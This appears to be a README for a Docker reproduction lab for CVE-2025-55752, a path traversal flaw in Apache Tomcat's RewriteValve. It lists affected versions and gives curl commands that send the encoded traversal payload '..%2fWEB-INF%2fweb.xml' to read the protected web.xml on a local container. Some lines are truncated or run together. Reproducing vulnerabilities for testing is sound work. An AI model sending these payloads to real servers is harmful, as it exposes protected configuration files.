
Docker-based reproduction environment for CVE-2025-55752, a path traversal vulnerability in Apache Tomcat's RewriteValve, demonstrating the normalize-before-decode flaw and providing testing commands.
Docker-based reproduction environment for CVE-2025-55752, a path traversal vulnerability in Apache Tomcat 10.1.44.
CVE-2025-55752 is a path traversal vulnerability in Apache Tomcat's RewriteValve caused by incorrect processing
rder: URL normalization occurs before URL decoding. This allows attackers to bypass security constraints
rotecting directories like /WEB-INF/ using URL-encoded path traversal sequences (..%2f).
| Series | Vulnerable Versions | Patched Version |
|---|
| 11.x | 11.0.0-M1 to 11.0.10 | 11.0.11+ |
| 10.1.x | 10.1.0-M1 to 10.1.44 | 10.1.45+ |
| 9.0.x | 9.0.0-M11 to 9.0.108 | 9.0.109+ |
| 8.5.x | 8.5.6 to 8.5.100 | EOL - No patch |
git clone https://github.com/masahiro331/CVE-2025-55752.git
cd CVE-2025-55752
docker-compose up -d
curl http://localhost:8080/
curl -I 'http://localhost:8080/WEB-INF/web.xml'
Expected: 403 Forbidden
curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5
curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'
Expected: 200 OK + web.xml content (vulnerability confirmed)
/download?path=..%2fWEB-INF%2fweb.xml/files/..%2fWEB-INF%2fweb.xml%2f not recognized as /, .. survives%2f → / → /files/../WEB-INF/web.xml/WEB-INF/web.xmlCorrect: Decode → Normalize → Security Check
Vulnerable: Normalize → Decode → Security Check ✗
../ and %2e%2e⚠️ WARNING: Do NOT deploy to production. Use only in isolated test environments.